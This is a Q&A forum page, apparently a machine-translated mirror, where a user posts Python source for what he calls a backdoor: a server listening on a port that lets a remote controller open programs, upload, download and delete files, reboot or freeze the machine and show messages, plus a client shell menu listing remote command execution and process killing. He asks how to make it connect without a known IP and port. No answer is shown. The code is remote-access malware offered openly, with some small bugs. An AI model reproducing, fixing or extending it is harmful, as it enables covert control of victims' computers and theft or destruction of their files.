RError.com

RError.com Logo RError.com Logo

RError.com Navigation

  • 主页

Mobile menu

Close
  • 主页
  • 系统&网络
    • 热门问题
    • 最新问题
    • 标签
  • Ubuntu
    • 热门问题
    • 最新问题
    • 标签
  • 帮助
主页 / user-639419

Даниил's questions

Martin Hope
Даниил
Asked: 2024-10-19 07:25:58 +0000 UTC

如何在我的代码中建立网络连接

  • 5

我有一个后门(服务器)和一个来自控制权的客户端。我希望它能够在不需要知道服务器的 IP 和端口的情况下工作。

这是服务器代码:

import os
import socket
import json
import subprocess
import threading
import time
import ctypes
import shutil  # Для создания резервных копий

SERVER_IP = '0.0.0.0'  # IP сервера
SERVER_PORT = 5555


def reliable_send(data):
    json_data = json.dumps(data) + '\0'  # Завершение сообщения
    target_sock.sendall(json_data.encode())


def reliable_recv():
    data = ''
    while True:
        try:
            part = target_sock.recv(1024).decode()
            if not part:
                break
            data += part
            if data.endswith('\0'):  # Ожидание завершения сообщения
                return json.loads(data[:-1])
        except ValueError:
            continue


# Открытие приложения
def open_application(app_path):
    try:
        subprocess.Popen(app_path)
        reliable_send(f"Application opened: {app_path}")
    except Exception as e:
        reliable_send(f"Error opening application: {e}")


# Создание резервной копии
def backup(source, backup_path):
    try:
        if os.path.exists(source):
            if os.path.isdir(source):
                shutil.make_archive(backup_path, 'zip', source)
            else:
                shutil.copy2(source, backup_path)
            reliable_send(f"Backup created from {source} to {backup_path}")
        else:
            reliable_send("Source path does not exist.")
    except Exception as e:
        reliable_send(f"Error creating backup: {e}")


# Восстановление из резервной копии
def restore(backup_path, destination):
    try:
        if os.path.exists(backup_path):
            if backup_path.endswith('.zip'):
                shutil.unpack_archive(backup_path, destination)
            else:
                shutil.copy2(backup_path, destination)
            reliable_send(f"Restored from {backup_path} to {destination}")
        else:
            reliable_send("Backup path does not exist.")
    except Exception as e:
        reliable_send(f"Error restoring backup: {e}")


# Перезагрузка системы
def reboot_system():
    try:
        subprocess.run(["shutdown", "/r", "/t", "1"], check=True)  # Перезагрузка через 1 секунду
        reliable_send("System is rebooting...")
    except Exception as e:
        reliable_send(f"Error rebooting system: {e}")


# Зависание системы
def freeze_system(seconds):
    try:
        reliable_send(f"System will freeze for {seconds} seconds...")
        end_time = time.time() + seconds
        while time.time() < end_time:  # Зацикливание на указанное время
            pass
        reliable_send("System has unfrozen.")
    except Exception as e:
        reliable_send(f"Error freezing system: {e}")


# Вывод сообщения на экран
def show_message(message):
    try:
        ctypes.windll.user32.MessageBoxW(0, message, "Message", 1)  Windows API
        reliable_send("Message displayed.")
    except Exception as e:
        reliable_send(f"Error displaying message: {e}")


def show_image(image_path):
    try:
        ctypes.windll.user32.ShellExecuteW(0, "open", image_path, None, None, 1)  # Открытие изображения
        reliable_send("Image displayed.")
    except Exception as e:
        reliable_send(f"Error displaying image: {e}")


def upload_file(filename):
    try:
        with open(filename, 'wb') as file:
            target_sock.settimeout(1)
            chunk = target_sock.recv(1024)
            while chunk:
                file.write(chunk)
                try:
                    chunk = target_sock.recv(1024)
                except socket.timeout:
                    break
        target_sock.settimeout(None)
        reliable_send(f'Successfully uploaded {filename}')
    except Exception:
        reliable_send('Error uploading file.')


def download_file(filename):
    try:
        with open(filename, 'rb') as file:
            target_sock.sendall(file.read())
    except Exception:
        reliable_send('Error downloading file.')


def delete_file(filename):
    try:
        os.remove(filename)
        reliable_send(f'Successfully deleted {filename}')
    except Exception:
        reliable_send('Error deleting file.')


def handle_client(target_sock):
    while True:
        command = reliable_recv()

        if command == 'exit':
            break
        elif command[:8] == 'open ':
            app_path = command[5:]  
            open_application(app_path)
        elif command[:7] == 'backup ':
            parts = command[7:].split(' ', 1)
            source = parts[0]
            backup_path = parts[1]
            backup(source, backup_path)
        elif command[:7] == 'restore ':
            parts = command[7:].split(' ', 1)
            backup_path = parts[0]
            destination = parts[1]
            restore(backup_path, destination)
        elif command == 'reboot':
            reboot_system()
        elif command[:6] == 'freeze':
            seconds = int(command[7:])  
            freeze_system(seconds)
        elif command[:8] == 'showmsg':
            message = command[9:]   
            show_message(message)
        elif command[:8] == 'showimg':
            image_path = command[9:]  
            show_image(image_path)
        # Обработка остальных команд


# Код для инициализации сервера
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.bind((SERVER_IP, SERVER_PORT))
print('[+] Listening For Incoming Connections')
server_sock.listen(5)

while True:
    target_sock, target_ip = server_sock.accept()
    threading.Thread(target=handle_client, args=(target_sock,)).start()

这是客户端代码:

import socket
import json
import time

SERVER_IP = ' '  # IP сервера
SERVER_PORT = 5555
history = []


def reliable_send(data):
    json_data = json.dumps(data) + '\0'  # Завершение сообщения
    target_sock.sendall(json_data.encode())


def reliable_recv():
    data = ''
    while True:
        try:
            part = target_sock.recv(1024).decode()
            if not part:
                break
            data += part
            if data.endswith('\0'):  # Ожидание завершения сообщения
                return json.loads(data[:-1])
        except ValueError:
            continue


def connection():
    while True:
        try:
            target_sock.connect((SERVER_IP, SERVER_PORT))
            print("Connected to server.")
            break
        except Exception as e:
            print(f"Failed to connect, retrying...: {e}")
            time.sleep(5)


def shell():
    print("Available commands:")
    print("1. help - Show this help message")
    print("2. cd <directory> - Change current directory")
    print("3. clear - Clear the terminal")
    print("4. list - Show files in current directory")
    print("5. download <filename> - Download file from remote")
    print("6. upload <filename> - Upload file to remote")
    print("7. exec <command> - Execute command on remote")
    print("8. exit - Close connection")
    print("9. history - Show command history")
    print("10. delete <filename> - Delete file on remote")
    print("11. list_processes - List currently running processes")
    print("12. kill <process_id> - Terminate a process")
    print("13. copy <source> <destination> - Copy file on remote")
    print("14. move <source> <destination> - Move/Rename file on remote")
    print("15. mkdir <directory> - Create a new directory")
    print("16. fileinfo <filename> - Get file info (size, modification date)")
    print("17. createfile <filename> - Create a new empty text file")
    print("18. writefile <filename> <text> - Write text to a file")
    print("19. readfile <filename> - Read contents of a file")
    print("20. restart <process_name> - Restart a process")
    print("21. reboot - Reboot the remote computer")
    print("22. freeze <seconds> - Freeze the computer for specified seconds")
    print("23. showmsg <message> - Display a message on the screen")
    print("24. showimg <image_path> - Display an image file")
    print("25. open <app_path> - Open an application")
    print("26. backup <source> <backup_path> - Create a backup")
    print("27. restore <backup_path> <destination> - Restore from backup")
    print("28. killapp <app_name> - Kill all instances of the specified application")

    while True:
        command = input('* Shell~: ')
        if command:
            history.append(command)
            reliable_send(command)

            if command == 'exit':
                break
            elif command == 'history':
                for idx, cmd in enumerate(history):
                    print(f"{idx + 1}: {cmd}")
            elif command == 'help':
                shell()  # Повторный вывод списка команд
            else:
                try:
                    result = reliable_recv()
                    print(result)
                except Exception as e:
                    print(f"Error receiving data: {e}")


target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
shell()
python
  • 1 个回答
  • 26 Views

Sidebar

Stats

  • 问题 10021
  • Answers 30001
  • 最佳答案 8000
  • 用户 6900
  • 常问
  • 回答
  • Marko Smith

    我看不懂措辞

    • 1 个回答
  • Marko Smith

    请求的模块“del”不提供名为“default”的导出

    • 3 个回答
  • Marko Smith

    "!+tab" 在 HTML 的 vs 代码中不起作用

    • 5 个回答
  • Marko Smith

    我正在尝试解决“猜词”的问题。Python

    • 2 个回答
  • Marko Smith

    可以使用哪些命令将当前指针移动到指定的提交而不更改工作目录中的文件?

    • 1 个回答
  • Marko Smith

    Python解析野莓

    • 1 个回答
  • Marko Smith

    问题:“警告:检查最新版本的 pip 时出错。”

    • 2 个回答
  • Marko Smith

    帮助编写一个用值填充变量的循环。解决这个问题

    • 2 个回答
  • Marko Smith

    尽管依赖数组为空,但在渲染上调用了 2 次 useEffect

    • 2 个回答
  • Marko Smith

    数据不通过 Telegram.WebApp.sendData 发送

    • 1 个回答
  • Martin Hope
    Alexandr_TT 2020年新年大赛! 2020-12-20 18:20:21 +0000 UTC
  • Martin Hope
    Alexandr_TT 圣诞树动画 2020-12-23 00:38:08 +0000 UTC
  • Martin Hope
    Air 究竟是什么标识了网站访问者? 2020-11-03 15:49:20 +0000 UTC
  • Martin Hope
    Qwertiy 号码显示 9223372036854775807 2020-07-11 18:16:49 +0000 UTC
  • Martin Hope
    user216109 如何为黑客设下陷阱,或充分击退攻击? 2020-05-10 02:22:52 +0000 UTC
  • Martin Hope
    Qwertiy 并变成3个无穷大 2020-11-06 07:15:57 +0000 UTC
  • Martin Hope
    koks_rs 什么是样板代码? 2020-10-27 15:43:19 +0000 UTC
  • Martin Hope
    Sirop4ik 向 git 提交发布的正确方法是什么? 2020-10-05 00:02:00 +0000 UTC
  • Martin Hope
    faoxis 为什么在这么多示例中函数都称为 foo? 2020-08-15 04:42:49 +0000 UTC
  • Martin Hope
    Pavel Mayorov 如何从事件或回调函数中返回值?或者至少等他们完成。 2020-08-11 16:49:28 +0000 UTC

热门标签

javascript python java php c# c++ html android jquery mysql

Explore

  • 主页
  • 问题
    • 热门问题
    • 最新问题
  • 标签
  • 帮助

Footer

RError.com

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

帮助

© 2023 RError.com All Rights Reserve   沪ICP备12040472号-5